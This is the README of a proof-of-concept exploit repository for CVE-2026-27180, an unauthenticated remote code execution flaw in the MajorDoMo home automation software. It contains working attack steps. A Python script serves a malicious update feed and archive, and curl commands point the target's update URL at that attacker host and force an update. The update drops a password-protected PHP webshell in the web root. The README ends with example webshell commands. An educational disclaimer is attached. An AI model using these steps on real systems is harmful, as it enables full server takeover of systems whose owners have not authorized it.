mbanyamer/cve-2026-27180-majordomo-unauthenticated-rceProof-of-concept exploit for CVE-2026-27180, an unauthenticated RCE in MajorDoMo via update URL poisoning, delivering a webshell to the web root.
Unauthenticated Remote Code Execution via Update URL Poisoning in MajorDoMo
CWE-494 – Download of Code Without Integrity Check
Impact: Full server compromise via webshell placed in web root
Authentication Required: None
Patch: PR #1177
This repository contains a proof-of-concept exploit for CVE-2026-27180 – a critical unauthenticated remote code execution vulnerability in smart home automation software.
An attacker can:
The vulnerability exists because:
auto_update_settings and force_update modesCURLOPT_SSL_VERIFYPEER = false)poc.php).htaccess to force PHP executiongit clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# No pip install needed – uses only standard library + argparse
graph TD
A["Attacker starts malicious HTTP server\nserving /master.xml + /archive/master.tar.gz"] --> B["Attacker poisons update URL\nvia GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
B --> C["Attacker triggers update\nGET /objects/?module=saverestore&mode=force_update"]
C --> D["MajorDoMo fetches poisoned Atom feed"]
D --> E["Downloads malicious master.tar.gz\n(CURLOPT_SSL_VERIFYPEER=false)"]
E --> F["Extracts tar.gz with tar xzvf ..."]
F --> G["copyTree() copies files recursively\n→ poc.php & .htaccess land in web root"]
G --> H["Attacker accesses webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]
style A fill:#f9d5e5,stroke:#333,stroke-width:2px
style H fill:#c3e6cb,stroke:#333,stroke-width:2px
Start the malicious server:
python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080
After the server starts, run these commands against the target:
# 1. Poison the update source
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'
# 2. Trigger the forced update
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'
Wait 10–90 seconds, then test the webshell:
# Examples:
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a
This code is provided strictly for educational purposes, authorized security testing, and red teaming activities.
MIT License
Copyright © 2026 Mohammed Idrees Banyamer
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.